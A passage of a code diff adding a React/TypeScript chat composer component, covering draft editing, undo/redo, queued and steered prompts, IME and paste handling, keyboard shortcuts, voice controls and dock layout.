+  const reconnecting = gatewayState === 'closed' || gatewayState === 'error'
+  const inputDisabled = disabled && !reconnecting
+
+  // The draft engine — detached source of truth (DOM + draftRef + edge
+  // selectors); typing never re-renders the chrome. ChatBar owns `queueEditRef`
+  // and threads it in so the draft↔queue coupling is an explicit dep, not a tangle.
+  const {
+    activeQueueSessionKeyRef,
+    clearDraft,
+    draftRef,
+    editorRef,
+    focusInput,
+    hasText,
+    insertInlineRefs,
+    insertText,
+    isHelpHint,
+    isSteerableText,
+    loadIntoComposer,
+    requestMainFocus,
+    sessionIdRef,
+    setComposerText,
+    stashAt,
+    syncDraftFromEditor
+  } = useComposerDraft({ activeQueueSessionKey, focusKey, inputDisabled, queueEditRef, sessionId })
+
+  // Undo/redo. The rich editor bypasses Chromium's editing pipeline for speed,
+  // which also bypasses its undo stack — so we own the stack and every edit
+  // path below banks its pre-edit state through `recordUndoPoint`.
+  const { recordUndoPoint, redo, resetUndoHistory, undo, withUndoPoint } = useComposerUndo({
+    editorRef,
+    syncDraftFromEditor
+  })
+
+  // Prior history belongs to the draft that just left — undoing into another
+  // conversation's text is worse than having none.
+  useEffect(() => {
+    resetUndoHistory()
+  }, [activeQueueSessionKey, resetUndoHistory])
+
+  // "Add URL" dialog — open/value state, autofocus, and submit (host onAddUrl or
+  // an @url: directive into the draft).
+  const { openUrlDialog, setUrlOpen, setUrlValue, submitUrl, urlInputRef, urlOpen, urlValue } = useComposerUrlDialog({
+    insertText,
+    onAddUrl
+  })
+
+  // The queue engine — queued turns, in-place editing, the shared drain lock,
+  // and bounded auto-drain. Consumes the draft API and writes `queueEditRef`.
+  const {
+    beginQueuedEdit,
+    drainNextQueued,
+    editingQueuedPrompt,
+    exitQueuedEdit,
+    queueCurrentDraft,
+    queueEdit,
+    queueParked,
+    queuedPrompts,
+    sendQueuedNow,
+    stepQueuedEdit
+  } = useComposerQueue({
+    activeQueueSessionKey,
+    attachments,
+    busy,
+    clearDraft,
+    draftRef,
+    focusInput,
+    loadIntoComposer,
+    onCancel,
+    onSubmit,
+    queueEditRef,
+    queueSessionKey,
+    sessionId
+  })
+
+  const statusStackVisible = queuedPrompts.length > 0 || statusPresent
+
+  // Halt vs. reach-the-queue: every interrupt lands on onCancel, but only the
+  // gestures that MEAN "stop working" (Stop button, Esc) go through this
+  // wrapper, which parks the queue first — an explicit halt must not roll
+  // straight into the next queued prompt (that read as Stop not working; the
+  // queued text also seemed to vanish, since the collapsed panel row was its
+  // only trace). Interrupts that exist to advance the queue (send-now-while-
+  // busy) call the raw onCancel and keep draining on settle. Parked entries
+  // stay in the panel until resumed, sent, edited, or deleted.
+  const haltRun = useCallback(() => {
+    parkQueuedPrompts(activeQueueSessionKeyRef.current)
+
+    return onCancel()
+  }, [activeQueueSessionKeyRef, onCancel])
+
+  const { compactPill, stacked } = useComposerMetrics({
+    composerDockRef,
+    composerRef,
+    composerSurfaceRef,
+    editorRef,
+    poppedOut
+  })
+
+  const hasComposerPayload = hasText || attachments.length > 0
+  const canSubmit = busy || hasComposerPayload
+
+  // Steer only makes sense mid-turn, text-only (the gateway can't carry images
+  // into a tool result) and never for a slash command (those execute inline).
+  const canSteer = busy && !compacting && !!onSteer && attachments.length === 0 && isSteerableText
+
+  // While busy: text redirects the live turn (Cursor-style stop-and-correct),
+  // attachments queue for the next turn, an empty composer stops.
+  const busyAction: 'steer' | 'queue' | 'stop' = canSteer
+    ? 'steer'
+    : compacting || hasComposerPayload
+      ? 'queue'
+      : 'stop'
+
+  // The submit engine — the orchestration seam where draft + queue meet. Owns
+  // the submit decision tree, the send-with-restore primitive, and steer.
+  const { queueDraft, steerDraft, submitDraft } = useComposerSubmit({
+    activeQueueSessionKey,
+    activeQueueSessionKeyRef,
+    attachments,
+    busy,
+    compacting,
+    clearDraft,
+    disabled,
+    draftRef,
+    drainNextQueued,
+    editorRef,
+    exitQueuedEdit,
+    focusInput,
+    inputDisabled,
+    loadIntoComposer,
+    // The submit engine's only cancel call is the Stop-button branch (busy +
+    // empty composer) — an explicit halt, so it parks the queue.
+    onCancel: haltRun,
+    onSteer,
+    onSubmit,
+    queueCurrentDraft,
+    queueEdit,
+    queuedPrompts,
+    sessionId,
+    setComposerText,
+    stashAt
+  })
+
+  // Resting / reconnecting / starting placeholder text, re-rolled only on a real
+  // conversation change.
+  const placeholder = useComposerPlaceholder({ disabled, reconnecting, sessionId })
+
+  // Trigger / completion engine: @// detection, the adapter-driven item list,
+  // popover selection, and chip insertion. The keydown nav block below consumes
+  // this API; keyup uses triggerKeyConsumedRef to skip its refresh.
+  const {
+    argStageEmpty,
+    ascendTriggerPath,
+    closeTrigger,
+    commitTypedSlashDirective,
+    moveTriggerActive,
+    refreshTrigger,
+    replaceTriggerWithChip,
+    setTriggerActive,
+    slashFreeTextArgStage,
+    trigger,
+    triggerActive,
+    triggerActiveExplicit,
+    triggerItems,
+    triggerKeyConsumedRef,
+    triggerLoading
+  } = useComposerTrigger({ at, draftRef, editorRef, emoji, recordUndoPoint, requestMainFocus, setComposerText, slash })
+
+  // Pull the live contentEditable text into draftRef + the AUI composer state
+  // (which drives `hasComposerPayload` → the send button). Shared by the input
+  // and compositionend paths so committed IME text reaches state through either.
+  // A pending coalesced flush (rAF id). `composerPlainText` serializes the whole
+  // editor (O(n)), so running it on every event during a burst — holding a key,
+  // or holding Cmd+V into a growing editor — is O(n²) across the burst. The
+  // contentEditable DOM is the source of truth (submit + the compositionend /
+  // keydown paths re-read it synchronously), so collapsing the input/paste
+  // flushes to one per paint is lossless.
+  const flushRafRef = useRef<number | undefined>(undefined)
+
+  const flushEditorToDraft = (editor: HTMLDivElement) => {
+    if (flushRafRef.current !== undefined) {
+      window.cancelAnimationFrame(flushRafRef.current)
+      flushRafRef.current = undefined
+    }
+
+    normalizeComposerEditorDom(editor)
+
+    const nextDraft = sanitizeComposerInput(composerPlainText(editor))
+
+    if (nextDraft !== draftRef.current) {
+      draftRef.current = nextDraft
+      setComposerText(nextDraft)
+    }
+
+    window.setTimeout(refreshTrigger, 0)
+  }
+
+  // Coalesce the high-frequency input/paste flushes to one per frame. Immediate
+  // paths (compositionend, Enter/keydown, submit) keep calling
+  // flushEditorToDraft directly, which cancels any pending coalesced run first.
+  const scheduleFlushEditorToDraft = (editor: HTMLDivElement) => {
+    if (flushRafRef.current !== undefined) {
+      return
+    }
+
+    flushRafRef.current = window.requestAnimationFrame(() => {
+      flushRafRef.current = undefined
+      flushEditorToDraft(editor)
+    })
+  }
+
+  useEffect(
+    () => () => {
+      if (flushRafRef.current !== undefined) {
+        window.cancelAnimationFrame(flushRafRef.current)
+      }
+    },
+    []
+  )
+
+  const handleEditorInput = (event: FormEvent<HTMLDivElement>) => {
+    // During IME composition the DOM contains uncommitted preedit text
+    // mixed with real content.  Skip state writes — compositionend flushes
+    // the finalized text (see onCompositionEnd).
+    if (composingRef.current) {
+      return
+    }
+
+    scheduleFlushEditorToDraft(event.currentTarget)
+  }
+
+  // Native typing/deleting mutates the DOM through Chromium's editing pipeline,
+  // whose undo stack we've taken over — so bank the pre-edit state here, before
+  // the change lands. `beforeinput` is the only hook that still sees the old
+  // text. Consecutive keystrokes coalesce into one entry, so ⌘Z steps back by a
+  // burst rather than a character.
+  const handleEditorBeforeInput = (event: FormEvent<HTMLDivElement>) => {
+    const inputType = (event.nativeEvent as InputEvent).inputType
+
+    // Undo/redo are ours (handled in useComposerUndo + keydown), and IME preedit
+    // is not a committed edit — compositionend is where that text becomes real.
+    if (inputType === 'historyUndo' || inputType === 'historyRedo' || composingRef.current) {
+      return
+    }
+
+    recordUndoPoint({ coalesce: inputType === 'insertText' || inputType === 'deleteContentBackward' })
+  }
+
+  const handlePaste = (event: ClipboardEvent<HTMLDivElement>) => {
+    const imageBlobs = extractClipboardImageBlobs(event.clipboardData)
+
+    if (imageBlobs.length > 0 && onAttachImageBlob) {
+      triggerHaptic('selection')
+
+      for (const blob of imageBlobs) {
+        void onAttachImageBlob(blob)
+      }
+    }
+
+    // Trim surrounding whitespace so a copy that dragged along leading/trailing
+    // blank lines (common when selecting from terminals, code blocks, web pages)
+    // doesn't dump multiline padding into the composer. Internal newlines are
+    // preserved — only the edges are cleaned up.
+    const pastedText = sanitizeComposerInput(event.clipboardData.getData('text').trim())
+
+    if (!pastedText) {
+      event.preventDefault()
+
+      if (imageBlobs.length > 0) {
+        return
+      }
+
+      // Under WSL2/WSLg the Windows host clipboard doesn't bridge *images* to
+      // the Linux clipboard the DOM paste event reads, so a host screenshot
+      // arrives as an empty paste (no blobs, no text). Fall back to the main
+      // process, which pulls the image straight off the Windows clipboard.
+      // Silent so a genuinely-empty paste doesn't pop a "no image" warning.
+      if (onPasteClipboardImage) {
+        triggerHaptic('selection')
+        void onPasteClipboardImage({ silent: true })
+      }
+
+      return
+    }
+
+    if (DATA_IMAGE_URL_RE.test(pastedText)) {
+      event.preventDefault()
+
+      return
+    }
+
+    event.preventDefault()
+
+    // Links in the paste land as `@url:` chips rather than a wall of URL text —
+    // the same reference the "Add URL" dialog inserts, parsed in place so a link
+    // mid-sentence keeps its position. Bare `@path` tokens promote the same way.
+    // A paste into an open `@url:`/`@file:` scope CONSUMES that scope instead of
+    // stacking on it — the scope is the browse mode the user is pasting into,
+    // not text they typed and want to keep (`@url:@url:\`https://…\``).
+    const scope = openDirectiveScope(event.currentTarget)
+
+    recordUndoPoint()
+    insertComposerContentsAtCaret(event.currentTarget, pathifyRefs(linkifyUrls(pastedText)), scope)
+    scheduleFlushEditorToDraft(event.currentTarget)
+  }
+
+  const handleEditorKeyDown = (event: KeyboardEvent<HTMLDivElement>) => {
+    // IME composition: Enter confirms composed text, not a message submission.
+    // We check both composingRef (set by compositionstart/compositionend, robust
+    // across browsers) and nativeEvent.isComposing (Chromium fallback).  Without
+    // this guard, pressing Enter to finalise a Korean/Japanese/Chinese IME
+    // preedit fires submitDraft() and splits the message mid-word.
+    if (composingRef.current || event.nativeEvent.isComposing) {
+      return
+    }
+
+    // Undo/redo before anything else — we own the stack (see useComposerUndo),
+    // so these never reach Chromium's native history, which has no record of
+    // the Range-based edits the rich editor makes.
+    if (isUndoShortcut(event.nativeEvent)) {
+      event.preventDefault()
+      undo()
+
+      return
+    }
+
+    if (isRedoShortcut(event.nativeEvent)) {
+      event.preventDefault()
+      redo()
+
+      return
+    }
+
+    // Plain Backspace right after a directive chip: remove the chip + its
+    // auto-inserted trailing space as one unit, so deleting a directive never
+    // leaves an orphaned space. (Modified backspaces stay native.)
+    if (
+      event.key === 'Backspace' &&
+      !event.metaKey &&
+      !event.ctrlKey &&
+      !event.altKey &&
+      withUndoPoint(() => deleteChipBeforeCaret(event.currentTarget))
+    ) {
+      event.preventDefault()
+      flushEditorToDraft(event.currentTarget)
+
+      return
+    }
+
+    // Non-collapsed Backspace/Delete: native selection-delete is ~O(n²) on large
+    // drafts (Ctrl+A → Delete froze ~1.3s). Collapsed carets fall through.
+    if (
+      (event.key === 'Backspace' || event.key === 'Delete') &&
+      withUndoPoint(() => deleteSelectionInEditor(event.currentTarget))
+    ) {
+      event.preventDefault()
+      flushEditorToDraft(event.currentTarget)
+
+      return
+    }
+
+    // A typed link finished with a space chips like a pasted one — the space
+    // itself rides along inside the insert.
+    if (withUndoPoint(() => chipTypedUrlOnSpace(event))) {
+      event.preventDefault()
+      flushEditorToDraft(event.currentTarget)
+
+      return
+    }
+
+    // Same for a bare `@path` — a hand-typed or Tab-descended path chips into
+    // the `@file:`/`@folder:` ref it means, instead of submitting as plain text
+    // the backend never resolves.
+    if (withUndoPoint(() => chipTypedPathOnSpace(event))) {
+      event.preventDefault()
+      flushEditorToDraft(event.currentTarget)
+
+      return
+    }
+
+    // Cmd/Ctrl+Shift+K drains the next queued message. Plain Cmd/Ctrl+K is
+    // reserved for the global command palette.
+    if ((event.metaKey || event.ctrlKey) && !event.altKey && event.shiftKey && event.key.toLowerCase() === 'k') {
+      event.preventDefault()
+
+      if (!busy) {
+        void drainNextQueued()
+      }
+
+      return
+    }
+
+    // The popover is open but its items are still in flight (debounce + RPC).
+    // Tab must not fall through to the browser — it would move focus out of
+    // the composer mid-completion, which reads as the popover "eating" the
+    // keypress. Swallow it; the refresh lands with the items.
+    if (trigger && triggerLoading && triggerItems.length === 0 && event.key === 'Tab') {
+      event.preventDefault()
+      triggerKeyConsumedRef.current = true
+
+      return
+    }
+
+    if (trigger && triggerItems.length > 0) {
+      if (event.key === 'ArrowDown') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        moveTriggerActive(1)
+
+        return
+      }
+
+      if (event.key === 'ArrowUp') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        moveTriggerActive(-1)
+
+        return
+      }
+
+      // Accepting the highlighted item: a no-arg command commits its directive
+      // chip, an arg-taking command expands to its options step, and an arg
+      // option commits the full `/cmd arg` chip.
+      const accept = acceptsTriggerCompletion({
+        activeExplicit: triggerActiveExplicit,
+        freeTextArgStage: slashFreeTextArgStage,
+        key: event.key,
+        kind: trigger.kind,
+        query: trigger.query
+      })
+
+      if (accept) {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        const item = triggerItems[triggerActive]
+
+        if (item) {
+          // Tab means "go deeper" on a folder; Enter means "I want this one".
+          // Everything else treats them alike.
+          replaceTriggerWithChip(item, { descend: event.key === 'Tab' })
+        }
+
+        return
+      }
+
+      // Backspace climbs out of an `@` path one segment at a time, mirroring
+      // Tab's one-key descent. Only when the caret sits at the end of the
+      // token — mid-token editing keeps normal character deletion.
+      if (event.key === 'Backspace' && !event.metaKey && !event.altKey && ascendTriggerPath()) {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+
+        return
+      }
+
+      if (event.key === 'Escape') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        closeTrigger()
+
+        return
+      }
+    }
+
+    // Arg stage with nothing left to suggest — a fully-typed arg the backend
+    // completer no longer echoes (it drops the exact match), e.g.
+    // `/personality creative`. Space/Tab still commit what's typed as a single
+    // directive chip; Enter falls through to submit (send it as-is).
+    if (
+      trigger?.kind === '/' &&
+      !triggerItems.length &&
+      (event.key === ' ' || event.key === 'Tab') &&
+      slashArgStage(trigger.query) &&
+      trigger.query.trim()
+    ) {
+      if (commitTypedSlashDirective()) {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+
+        return
+      }
+    }
+
+    // ArrowUp/ArrowDown navigate, in priority order: the queue (edit entries in
+    // place) then sent-message history. The history ring is derived from live
+    // session messages each press — single source of truth, no mirror.
+    if (event.key === 'ArrowUp') {
+      const currentDraft = draftRef.current
+
+      // Editing a queued turn → walk to the older entry.
+      if (queueEdit && stepQueuedEdit(-1)) {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+
+        return
+      }
+
+      // Empty composer + a queued turn → open the newest queued entry for edit
+      // (the row's pencil), not a text recall. Enter saves it back to the queue.
+      if (!currentDraft.trim() && !queueEdit && queuedPrompts.length > 0) {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        beginQueuedEdit(queuedPrompts[queuedPrompts.length - 1]!)
+
+        return
+      }
+
+      // Don't hijack a typed draft unless already browsing — they'd lose it.
+      if (currentDraft.trim() && !isBrowsingHistory(sessionId)) {
+        return
+      }
+
+      event.preventDefault()
+      triggerKeyConsumedRef.current = true
+
+      // $messages is read imperatively (not subscribed) so the composer
+      // doesn't re-render on every streaming delta flush.
+      const history = deriveUserHistory(scope.$messages.get(), chatMessageText)
+      const entry = browseBackward(sessionId, currentDraft, history)
+
+      if (entry !== null) {
+        loadIntoComposer(entry, scope.attachments.$attachments.get())
+      }
+
+      return
+    }
+
+    if (event.key === 'ArrowDown') {
+      // Editing a queued turn → walk to the newer entry (past the newest exits).
+      if (queueEdit) {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        stepQueuedEdit(1)
+
+        return
+      }
+
+      // Browsing sent history → step toward the present, restoring the draft.
+      if (isBrowsingHistory(sessionId)) {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+
+        const history = deriveUserHistory(scope.$messages.get(), chatMessageText)
+        const result = browseForward(sessionId, history)
+
+        if (result !== null) {
+          loadIntoComposer(result.text, scope.attachments.$attachments.get())
+        }
+      }
+
+      return
+    }
+
+    // Cmd/Ctrl+Enter queues a follow-up while a turn runs. Plain Enter steers
+    // a text-only draft, so both live-turn actions stay reachable by keyboard.
+    if (event.key === 'Enter' && (event.metaKey || event.ctrlKey) && !event.shiftKey) {
+      event.preventDefault()
+
+      if (busy && !disabled) {
+        // As with plain Enter, source the just-typed content from the DOM so a
+        // fast keypress cannot queue a stale draft.
+        const editorText = editorRef.current ? composerPlainText(editorRef.current) : draftRef.current
+
+        if (editorText !== draftRef.current) {
+          draftRef.current = editorText
+          setComposerText(editorText)
+        }
+
+        queueDraft()
+      }
+
+      return
+    }
+
+    if (event.key === 'Enter' && !event.shiftKey) {
+      event.preventDefault()
+
+      // Decide from the DOM, not React state. `hasComposerPayload` is derived
+      // from the AUI composer state, which lags the latest keystroke by a
+      // render, so on fast typing / IME the just-typed text isn't in state yet.
+      // Without the live read, a real message typed while prompts are queued
+      // would drain the queue instead of sending. submitDraft() re-syncs and
+      // sends the live editor text.
+      const editorText = editorRef.current ? composerPlainText(editorRef.current) : draftRef.current
+      const hasLivePayload = editorText.trim().length > 0 || attachments.length > 0
+
+      if (disabled) {
+        return
+      }
+
+      if (!busy && !hasLivePayload && queuedPrompts.length > 0) {
+        void drainNextQueued()
+
+        return
+      }
+
+      // Empty Enter while busy. With prompts queued this is the double-send:
+      // the first Enter put the words in the queue, a second sends them now
+      // (promote + interrupt + drain on settle), mirroring the idle empty-Enter
+      // drain above. With nothing queued it stays a no-op — interrupting is
+      // explicit (Stop/Esc), never a stray Enter after sending. Gate on the live
+      // DOM payload (not the render-lagged composer state) so a message typed
+      // fast / via IME while busy still reaches submitDraft() and gets queued
+      // instead of being mistaken for an empty Enter.
+      if (busy && !hasLivePayload) {
+        const head = queuedPrompts.find(entry => entry.id !== queueEdit?.entryId)
+
+        if (head) {
+          sendQueuedNow(head.id)
+        }
+
+        return
+      }
+
+      submitDraft()
+
+      return
+    }
+
+    if (event.key === 'Escape') {
+      // Editing a queued turn → Esc cancels the edit, restoring the prior draft.
+      if (queueEdit) {
+        event.preventDefault()
+        exitQueuedEdit('cancel')
+
+        return
+      }
+
+      // Otherwise Esc interrupts the running turn (Stop-button parity) — unless
+      // the turn is parked waiting on the user, where Esc must not discard the
+      // pending prompt. An explicit halt, so it parks the queue too.
+      if (busy && !awaitingInput) {
+        event.preventDefault()
+        triggerHaptic('cancel')
+        void Promise.resolve(haltRun())
+      }
+    }
+  }
+
+  const handleEditorKeyUp = () => {
+    // If this keyup belongs to a key the open trigger popover already consumed
+    // in keydown (Arrow/Enter/Tab/Escape), skip the refresh. Those keys never
+    // edit text, and for Escape the keydown already closed the menu — a refresh
+    // here would re-detect the still-present `/` and instantly reopen it. We
+    // read a ref set during keydown rather than `trigger`, because by keyup
+    // time React has re-rendered and `trigger` may already be null.
+    if (triggerKeyConsumedRef.current) {
+      triggerKeyConsumedRef.current = false
+
+      return
+    }
+
+    window.setTimeout(refreshTrigger, 0)
+  }
+
+  const {
+    dragActive,
+    handleDragEnter,
+    handleDragLeave,
+    handleDragOver,
+    handleDrop,
+    handleInputDragOver,
+    handleInputDrop
+  } = useComposerDrop({ cwd, insertInlineRefs, onAttachDroppedItems, requestMainFocus })
+
+  // Branch / worktree hand-offs (CodingStatusRow). Owns the worktree open +
+  // branch-off/convert/list/switch actions; draft travels into the new session.
+  const { handleBranchOff, handleConvertBranch, handleListBranches, handleSwitchBranch, openInWorktree } =
+    useComposerBranch({ clearDraft, cwd, draftRef })
+
+  // Global Esc-to-cancel when the chat (not the composer input) has focus.
+  // Same explicit-halt semantics as the Stop button: park the queue.
+  useComposerEscCancel({ awaitingInput, busy, onCancel: haltRun, target: scope.target })
+
+  const {
+    conversation,
+    dictate,
+    endConversation,
+    handleToggleAutoSpeak,
+    startConversation,
+    voiceActivityState,
+    voiceConversationActive,
+    voiceStatus
+  } = useComposerVoice({
+    busy,
+    clearDraft,
+    disabled,
+    focusInput,
+    insertText,
+    maxRecordingSeconds,
+    // Voice barge-in mid-generation halts the run like the Stop button.
+    onInterrupt: haltRun,
+    onSubmit,
+    onTranscribeAudio,
+    sessionId,
+    target: scope.target
+  })
+
+  // Keep the typed-stop interceptor (see onSubmit above) in sync with the
+  // live conversation state. Render-time ref assignment, same pattern as
+  // dispatchSubmitRef — no effect needed for a plain mirror.
+  voiceStopRef.current = { active: voiceConversationActive, end: endConversation }
+
+  const contextMenu = (
+    <ContextMenu
+      onInsertText={insertText}
+      onOpenUrlDialog={openUrlDialog}
+      onPasteClipboardImage={onPasteClipboardImage}
+      onPickFiles={onPickFiles}
+      onPickFolders={onPickFolders}
+      onPickImages={onPickImages}
+      state={state}
+    />
+  )
+
+  const controls = (
+    <ComposerControls
+      autoSpeak={autoSpeak}
+      busy={busy}
+      busyAction={busyAction}
+      canSubmit={canSubmit}
+      compactModelPill={poppedOut || compactPill}
+      conversation={{
+        active: voiceConversationActive,
+        level: conversation.level,
+        muted: conversation.muted,
+        onEnd: endConversation,
+        onStart: startConversation,
+        onStopTurn: conversation.stopTurn,
+        onToggleMute: conversation.toggleMute,
+        status: conversation.status
+      }}
+      disabled={disabled}
+      hasComposerPayload={hasComposerPayload}
+      onDictate={dictate}
+      onQueue={queueDraft}
+      onToggleAutoSpeak={handleToggleAutoSpeak}
+      state={state}
+      voiceStatus={voiceStatus}
+    />
+  )
+
+  const input = (
+    <div className={cn('relative', stacked ? 'w-full' : 'min-w-(--composer-input-inline-min-width) flex-1')}>
+      <div
+        aria-disabled={inputDisabled ? true : undefined}
+        aria-label={t.composer.message}
+        autoCapitalize="off"
+        autoCorrect="off"
+        className={cn(
+          'min-h-[1.625rem] min-h-(--composer-input-min-height) max-h-(--composer-input-max-height) cursor-text overflow-y-auto whitespace-pre-wrap break-words [overflow-wrap:anywhere] bg-transparent pb-1 pr-1 pt-1 leading-normal text-foreground outline-none disabled:cursor-not-allowed',
+          '**:data-ref-text:cursor-default',
+          stacked && 'pl-3',
+          stacked ? 'w-full' : 'min-w-(--composer-input-inline-min-width) flex-1'
+        )}
+        contentEditable={!inputDisabled}
+        data-placeholder={placeholder}
+        data-slot={RICH_INPUT_SLOT}
+        onBeforeInput={handleEditorBeforeInput}
+        onBlur={() => window.setTimeout(closeTrigger, 80)}
+        onCompositionEnd={event => {
+          composingRef.current = false
+
+          // The input events fired *during* composition were skipped (they
+          // carried uncommitted preedit text), and Chromium does NOT reliably
+          // emit a trailing input event after compositionend on Windows IMEs.
+          // Without flushing here, committed multi-character IME input (e.g.
+          // Chinese "你好", Japanese, Korean) never reaches composer state, so
+          // `hasComposerPayload` stays false and the send button stays hidden
+          // until an unrelated edit forces a sync (#39614).
+          flushEditorToDraft(event.currentTarget)
+        }}
+        onCompositionStart={event => {
+          composingRef.current = true
+
+          // Input events are skipped for the rest of the composition, so
+          // nothing else would clear the empty marker until it ends — and the
+          // hint would sit behind the preedit text the whole time (#75960).
+          beginComposerComposition(event.currentTarget)
+        }}
+        onDragOver={handleInputDragOver}
+        onDrop={handleInputDrop}
+        onFocus={() => markActiveComposer(scope.target)}
+        onInput={handleEditorInput}
+        onKeyDown={handleEditorKeyDown}
+        onKeyUp={handleEditorKeyUp}
+        onMouseUp={refreshTrigger}
+        onPaste={handlePaste}
+        ref={editorRef}
+        role="textbox"
+        spellCheck={false}
+        suppressContentEditableWarning
+      />
+      <ComposerDirectiveActions editorRef={editorRef} />
+      {/* assistant-ui requires ComposerPrimitive.Input somewhere in the tree
+        so the composer-state binding (text + IME + paste + form-submit hookup)
+        wires up. We render the real input UI ourselves above via the
+        contentEditable, so the primitive is invisible (sr-only).
+
+        IMPORTANT: don't let it render its default <TextareaAutosize>. That
+        component runs `useLayoutEffect(resizeTextarea)` on every value change
+        and reads `node.scrollHeight` against a hidden measurement textarea,
+        forcing two synchronous layouts per keystroke for an element the
+        user can't see. Profiling 400-char synthetic typing showed >900ms
+        cumulative cost in getHeight2/calculateNodeHeight alone (~2.3ms/key)
+        on top of the per-keystroke React commit.
+
+        `asChild` swaps TextareaAutosize for a Radix Slot wrapping our
+        plain <textarea>, which carries the binding but skips autosize. */}
+      <ComposerPrimitive.Input asChild submitMode="ctrlEnter" tabIndex={-1} unstable_focusOnScrollToBottom={false}>
+        <textarea
+          aria-hidden
+          autoCapitalize="off"
+          autoComplete="off"
+          autoCorrect="off"
+          className="sr-only"
+          spellCheck={false}
+          tabIndex={-1}
+        />
+      </ComposerPrimitive.Input>
+    </div>
+  )
+
+  return (
+    <>
+      {dragging && poppedOut && (
+        <div
+          aria-hidden
+          // `absolute`, not `fixed`: anchor to the chat-column root (the same
+          // `relative isolate` container the docked composer centers in) so the
+          // glow spans the thread area only — never the full viewport / under the
+          // sidebar. The dock target IS the docked position, so they must share
+          // a containing block.
+          className="pointer-events-none absolute inset-x-0 bottom-0 z-20 h-32"
+          style={{
+            // A bottom-centered radial glow — soft on every side by construction,
+            // so it reads as the dock target without any hard band edges. Its
+            // intensity tracks how close the composer is to the dock (1 = peak).
+            background:
+              'radial-gradient(64% 130% at 50% 100%, color-mix(in srgb, var(--color-primary) 26%, transparent) 0%, transparent 70%)',
+            // Scaled by --dock-glow-scale (lower in light mode — see styles.css).
+            opacity: `calc(${0.1 + dockProximity * 0.57} * var(--dock-glow-scale, 1))`
+          }}
+        />
+      )}
+      <ComposerPrimitive.Unstable_TriggerPopoverRoot>
+        {/* Dock column: owns the composer's POSITION and stacks, bottom-up,
+            [micro actions] · [status stack] · [composer] · [underside].
+            Anchored at the bottom, so in-flow children grow upward and still
+            overlay the thread — no absolute lane needed.
+
+            The strips are siblings of the composer, not children: the pop-out
+            drag region is `absolute inset-0` INSIDE the composer, so anything
+            rendered in there is inside the grab area by construction. Keeping
+            them out here is what makes that impossible rather than excluded. */}
+        <div
+          className={cn(
+            'z-30 flex flex-col',
+            poppedOut ? 'fixed max-w-[calc(100vw-1.5rem)]' : 'absolute bottom-0 left-1/2 max-w-full -translate-x-1/2'
+          )}
+          data-popped-out={poppedOut ? '' : undefined}
+          data-slot="composer-dock"
+          data-thread-scrolled-up={scrolledUp ? '' : undefined}
+          // Measured for the thread's bottom clearance: the dock is the box
+          // that contains the strips, the status stack, AND the composer, so
+          // one measurement covers everything the thread must clear.
+          ref={composerDockRef}
+          style={
+            poppedOut
+              ? {
+                  bottom: `${popoutPosition.bottom}px`,
+                  right: `${popoutPosition.right}px`,
+                  // A compact one-sentence width when floating.
+                  ['--composer-popout-width' as string]: `${POPOUT_WIDTH_REM}rem`
+                }
+              : undefined
+          }
+        >
+          {/* Aligned to the composer SURFACE, which sits inside the composer's
+              5px transparent grab margin — so both strips carry the same inset
+              and share one left edge with it. */}
+          <div className={cn(composerFloatingStrip, 'px-[5px] pb-1.5 empty:hidden')}>
+            <ActionBadges sessionId={statusSessionId} />
+          </div>
+          {/* Session-scoped status stack (todos, subagents, background tasks,
+              queue). An in-flow dock child: the dock is bottom-anchored, so it
+              grows upward over the thread and the dock's own measurement covers
+              it. Collapses to nothing when every status is empty. */}
+          <ComposerStatusStack
+            queue={
+              activeQueueSessionKey && queuedPrompts.length > 0 ? (
+                <QueuePanel
+                  busy={busy}
+                  editingId={queueEdit?.entryId ?? null}
+                  entries={queuedPrompts}
+                  onDelete={id => {
+                    if (removeQueuedPrompt(activeQueueSessionKey, id) && queueEdit?.entryId === id) {
+                      exitQueuedEdit('cancel')
+                    }
+                  }}
+                  onEdit={beginQueuedEdit}
+                  onResume={() => {
+                    unparkQueuedPrompts(activeQueueSessionKey)
+
+                    // Idle → kick the head immediately; busy → the settle drain
+                    // takes over now that the park is lifted.
+                    if (!busy) {
+                      void drainNextQueued()
+                    }
+                  }}
+                  onSendNow={id => void sendQueuedNow(id)}
+                  parked={queueParked}
+                />
+              ) : null
+            }
+            sessionId={statusSessionId}
+          />
+          <ComposerPrimitive.Root
+            className={cn(
+              'group/composer relative w-full overflow-visible rounded-2xl',
+              poppedOut && 'bg-transparent',
+              dragging && 'cursor-grabbing select-none touch-none'
+            )}
+            data-drag-active={dragActive ? '' : undefined}
+            data-popped-out={poppedOut ? '' : undefined}
+            data-slot="composer-root"
+            data-status-stack={statusStackVisible ? '' : undefined}
+            data-thread-scrolled-up={scrolledUp ? '' : undefined}
+            onDragEnter={handleDragEnter}
+            onDragLeave={handleDragLeave}
+            onDragOver={handleDragOver}
+            onDrop={handleDrop}
+            onPointerDown={popoutAllowed ? onComposerGesturePointerDown : undefined}
+            onSubmit={e => {
+              e.preventDefault()
+
+              if (composingRef.current) {
+                return
+              }
+
+              submitDraft()
+            }}
+            ref={composerRef}
+          >
+            {isHelpHint && <HelpHint />}
+            {trigger && !argStageEmpty && (
+              <ComposerTriggerPopover
+                activeIndex={triggerActive}
+                items={triggerItems}
+                kind={trigger.kind}
+                loading={triggerLoading}
+                onHover={setTriggerActive}
+                onPick={replaceTriggerWithChip}
+                scope={trigger.scope}
+              />
+            )}
+            {!poppedOut && (
+              <div
+                className="pointer-events-none absolute inset-0 rounded-[inherit]"
+                style={{ background: COMPOSER_FADE_BACKGROUND }}
+              />
+            )}
+            {/* Drag region: covers the transparent grab margin around the surface.
+              The surface sits on top (z-4) so only the exposed ring receives this
+              element's hover/cursor — grab cursor + a diagonal hatch (/////)
+              appear when you hover the draggable margin, never over the input.
+              The hatch pattern + opacity ladder live in styles.css. */}
+            {popoutAllowed && (
+              <div
+                aria-hidden
+                className={cn('pointer-events-auto absolute inset-0', dragging ? 'cursor-grabbing' : 'cursor-grab')}
